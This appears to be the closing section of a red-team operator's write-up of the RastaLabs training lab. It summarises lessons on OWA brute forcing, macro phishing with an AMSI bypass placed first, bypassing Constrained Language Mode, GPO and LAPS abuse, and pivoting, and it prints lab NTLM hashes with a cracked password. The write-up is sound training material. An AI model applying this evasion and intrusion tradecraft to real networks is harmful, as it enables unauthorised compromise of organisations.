All 17 Flags Required

The certificate of completion requires all 17 flags. Getting Domain Admin only gives you about 11 of them. The remaining 6 are CTF challenges (ROP, crypto, PCAP) and hidden flags (FS01/NIX01, vault, etc.) that require exploring the entire network. Don't assume you're done when you get DA.

Key Lessons

Lesson 1 — OWA Is a Goldmine
Brute-forcing OWA gives you Exchange access, which is the launching point for internal phishing. If OWA is exposed, the entire internal network is at risk.
The OWA brute force was the key initial access vector. Once you have Exchange credentials, you can send phishing emails that appear to come from internal sources. The bots in RastaLabs simulate users who actually open these emails and run attachments. On a real engagement, OWA exposure is almost always worth investigating.
Lesson 2 — AMSI Bypass Must Come First
Your AMSI bypass must execute BEFORE any payload code. If Defender catches your payload before the bypass runs, the entire chain fails.
Three failed phishing attempts taught me this lesson. The VBA macro must patch AMSI in the very first line of execution, before any shellcode or PowerShell commands are run. The Donut encryption for the shellcode was also critical — it prevents static signature detection on the payload itself.
Lesson 3 — Constrained Language Mode Is Real
CLM stops most offensive PowerShell tools. You need a bypass strategy from the start, not as an afterthought.
The __PSLockdownPolicy environment variable bypass works but is fragile. Every PowerShell command has to be wrapped. Alternative: use C# tools (execute-assembly) which bypass CLM entirely because they're not running in the PowerShell host. SharpHound, SafetyKatz, SharpDPAPI — all C# tools that work regardless of CLM.
Lesson 4 — GPO Abuse Deserves More Attention
GPO misconfigurations are everywhere in real environments. RastaLabs teaches you to identify and exploit them properly.
The GPO abuse path to DA was the most educational part of the entire lab. In real environments, I've seen GPO misconfigurations in almost every AD assessment. The ability to create, link, and modify GPOs is effectively the ability to run code as SYSTEM on any machine in the OU. SharpGPOAbuse makes the exploitation trivial once you've identified the misconfiguration.
Lesson 5 — Don't Shortcut
Finding rweston_da's hash on WS05 is not the end. It's a shortcut that skips the learning.
I found rweston_da's hash early but forced myself to continue through the intended GPO abuse path. The shortcut would have given me DA in half the time, but I would have missed learning about GPO abuse, DPAPI, KeePass extraction, and LAPS reading. The lab is about the journey, not the destination.
Lesson 6 — BloodHound Changes Everything
SharpHound + Neo4j + BloodHound visualizer = the most powerful AD enumeration toolkit available.
Before BloodHound, I was manually querying AD with PowerView and trying to piece together attack paths from raw data. After BloodHound, the attack paths were visually obvious. The shortest path queries, the ACL analysis, the session data — all of it combined to give me a complete picture of the domain in minutes instead of hours.
Lesson 7 — LAPS Is Only As Good As Its ACLs
LAPS protects local admin passwords, but if too many accounts can read ms-Mcs-AdmPwd, it defeats the purpose.
ngodfrey_adm could read LAPS passwords on ALL workstations. This is a common misconfiguration — the delegated LAPS reader scope is too broad. On real engagements, always check who can read the ms-Mcs-AdmPwd attribute. It should be limited to a small set of privileged accounts, not every admin-equivalent account in the domain.
Lesson 8 — Network Segregation Demands Patience
The four-subnet design means you can't reach everything from your initial foothold. Port forwarding chains are essential.
Each subnet hop requires setting up port forwarding, re-establishing AppLocker bypass, and potentially re-running AMSI evasion. The chain WS04 → WS02 → SQL01 → WS05 required three separate portfwd commands in Sliver. Keeping track of which implant can reach which subnet is critical. I ended up drawing a diagram of my pivot topology.
Lesson 9 — CTF Skills Transfer
Binary exploitation and crypto skills are needed for some flags. If you don't have them, you'll spend days on a single flag.
The ROP challenge alone took me 3 days because I'd never done a ROP exploit before. The crypto flag took another 2 days. These are not AD skills — they're CTF skills. If you're primarily an AD/infrastructure pentester, you'll need to brush up on binary exploitation before starting RastaLabs. ROP Emporium is the best resource for learning ROP quickly.
Lesson 10 — RastaMouse Built This Well
The lab design is exceptional. Every machine has a purpose, every flag teaches a technique, and the attack chain flows logically.
The fact that RastaMouse (the same person behind CRTO) designed this lab shows. The techniques you learn are directly applicable to the CRTO exam and to real red team engagements. The OWA → phishing → AS-REP → PTH → GPO abuse chain mirrors real-world attack scenarios. If you're considering CRTO, do RastaLabs first. It's the best preparation available.

Final Statistics

MetricValue
Total Time27 days (active work)
Machines Compromised14 / 14
Flags Captured17 / 17
Domain Admin AchievedDay 23 (via GPO abuse, intended path)
DA Shortcut AvailableDay 18 (rweston_da hash — NOT taken)
C2 FrameworkSliver v1.5+
Primary TechniquesOWA brute force, phishing, AS-REP roasting, PTH, GPO abuse
Hardest FlagFlag 10 (Vault) / ROP Challenge
Dead Ends Explored4 (SSH to NIX01, WinRM to WS05, direct CS payloads, initial CLM bypass)
Phishing Attempts4 (3 failed, 1 success)
Key Credential Chainbowen → epugh → epugh_adm → ngodfrey → ngodfrey_adm → GPO DA
Hashes Cracked5+ (epugh:Sarah2017 was the key one)
The Credential Chain Matters

The most important thing I learned from RastaLabs is that AD compromise is not about a single exploit — it's about building a credential chain. Each credential you capture opens new doors. bowen → SRV01 SYSTEM → epugh (AS-REP) → epugh_adm (LSA secrets) → ngodfrey (KeePass) → ngodfrey_adm (LAPS reader) → GPO abuse → DA. Each link in this chain is a separate technique that you must understand and execute. Skip a link and you might miss the whole chain.

Real NTLM Hashes from the Lab

For reference, the key NTLM hashes encountered during this engagement:

  • epugh:1151:aad3b435b51404eeaad3b435b51404ee:326457b72c3f136d80d99bdbb935d109::: — cracked to Sarah2017
  • rweston_da:<RID>:aad3b435b51404eeaad3b435b51404ee:ab7b75ff84475be...::: — found in LSASS on WS05

These are real hashes from the lab environment. If you're working through RastaLabs, these will match what you find.

QA210
Red Team Operator · W4LLZ · Yuri08-QA210